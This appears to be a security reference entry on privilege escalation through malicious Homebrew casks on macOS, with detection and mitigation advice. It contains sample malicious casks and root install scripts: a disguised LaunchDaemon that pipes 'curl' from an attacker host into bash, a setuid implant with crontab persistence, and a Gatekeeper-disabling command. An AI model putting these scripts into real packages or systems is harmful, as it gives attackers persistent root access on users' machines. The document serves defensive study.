Cask pkg and installer script Privilege Escalation
Prerequisites
- Victim has admin rights on the Mac and uses `brew install --cask`
- Attacker controls a cask in a tap the victim has added (homebrew/cask or third-party)
- Victim authorizes the macOS authentication prompt during install
Attack Scenarios
pkg Stanza Installing an Attacker-Signed Package as Root
The cask points `pkg` at a `.pkg` the attacker ships. macOS's `installer(8)` runs the payload's preinstall/postinstall scripts as root with full disk access once the user authorizes installation. `allow_untrusted: true` tells the installer to accept a package with an untrusted signing certificate, increasing risk when users install casks from third-party taps.[1]
cask "mac-optimizer" do
version "1.2.3"
sha256 "0000000000000000000000000000000000000000000000000000000000000000"
url "https://example.com/mac-optimizer-#{version}.pkg"
name "Mac Optimizer"
homepage "https://example.com/mac-optimizer"
pkg "MacOptimizer-#{version}.pkg",
allow_untrusted: true
uninstall pkgutil: "com.example.macoptimizer"
end
# scripts/postinstall inside the .pkg payload — runs as root at install time
#!/bin/bash
set -e
# Drop a LaunchDaemon (root persistence)
cat > /Library/LaunchDaemons/com.apple.softwareupdate.helper.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
<key>Label</key><string>com.apple.softwareupdate.helper</string>
<key>ProgramArguments</key>
<array><string>/bin/bash</string><string>-c</string>
<string>curl -fsSL https://attacker.example.com/b | bash</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
</dict></plist>
PLIST
chown root:wheel /Library/LaunchDaemons/com.apple.softwareupdate.helper.plist
launchctl load -w /Library/LaunchDaemons/com.apple.softwareupdate.helper.plist
brew install --cask mac-optimizer
# macOS prompts for admin credentials (looks like any .pkg install)
# The .pkg's postinstall runs as root and drops the LaunchDaemon
installer script: sudo: true Running Arbitrary Binary as Root
`installer script:` points at an arbitrary executable inside the cask payload and `sudo: true` promotes it to root. Unlike `pkg`, this path does not require building a signed .pkg — any shell script or Mach-O works. Attackers use this when targeting users who have disabled Gatekeeper or when distributing through internal taps.
cask "corp-cli" do
version "4.5.6"
sha256 "deadbeef" * 8
url "https://internal.example.com/corp-cli-#{version}.tar.gz"
installer script: {
executable: "#{staged_path}/setup.sh",
args: ["--install", "--system"],
sudo: true
}
end
#!/bin/bash
# Runs as root because of sudo: true
install -m 4755 /tmp/implant /usr/local/bin/corp-helper
echo "@reboot root /usr/local/bin/corp-helper >/dev/null 2>&1" >> /etc/crontab
# Disable Gatekeeper so future payloads are not prompted
spctl --master-disable
Silent Re-install After Remediation via Cask Upgrade
Users who discover the malicious cask and uninstall it via `brew uninstall --cask` remain exposed if they ever run `brew upgrade --cask` — a subsequent reinstall of the same name from the same tap re-triggers `pkg` / `installer script:` and regains root. The attacker only needs the tap to remain tapped.
# Day 1
brew install --cask mac-optimizer # root persistence installed
# Day 2 — user removes the app
brew uninstall --cask mac-optimizer # LaunchDaemon optionally remains
# Day 7 — any cask upgrade pass reinstalls
brew upgrade --cask # mac-optimizer pkg re-runs as root
Detection
Flag casks that use pkg, installer script, or sudo
Search cask source for stanzas that can run code as root. Most legitimate app-bundle casks use only an `app` stanza and have no need for `pkg`, `installer`, or `sudo: true`.
brew cat --cask mac-optimizer | \
grep -nE "^\s*(pkg|installer)\b|sudo:\s*true|allow_untrusted"
Audit newly-written LaunchDaemons after cask installs
LaunchDaemons live in `/Library/LaunchDaemons` and run as root on boot. Any new plist there created during or shortly after `brew install --cask` is highly suspicious.
sudo find /Library/LaunchDaemons -type f -newermt "1 hour ago" -ls
# Compare running daemons to the set your fleet expects
launchctl list | awk '{print $3}' | sort -u
Capture installer(8) invocations from brew
macOS's unified log records every `installer` invocation. Filter for the parent brew process to spot when a cask runs a .pkg and with what script identifiers.
log show --last 1h --predicate 'process == "installer"' --info | \
grep -E "PackageKit|Scripts|install-"
Mitigation
- Run `brew cat --cask
` before install; reject or closely review any cask whose stanzas include `pkg` or `installer script:`, and treat `sudo: true` or `allow_untrusted` as elevated-risk signals[1] - Do not perform `brew install --cask` from an admin account; use a separate standard user and elevate deliberately
- Require code-signed and notarized .pkg payloads — refuse `allow_untrusted: true` via policy
- Monitor `/Library/LaunchDaemons` and `/Library/LaunchAgents` for plists created during brew operations
- Review every cask upgrade's diff before allowing it to land (`HOMEBREW_NO_AUTO_UPDATE=1` then manual `brew update`)
- For managed fleets, disable `brew install --cask` entirely and distribute apps via MDM
References
Historical Notes
- 30 April, 2026: Corrected the distinction between pkg and installer script behavior, clarified that sudo: true applies to installer script rather than pkg, and revised the allow_untrusted explanation to reflect installer certificate trust semantics rather than a broad Gatekeeper bypass. Sources: Homebrew Cask Cookbook — pkg stanza; Homebrew Cask Cookbook — installer stanza.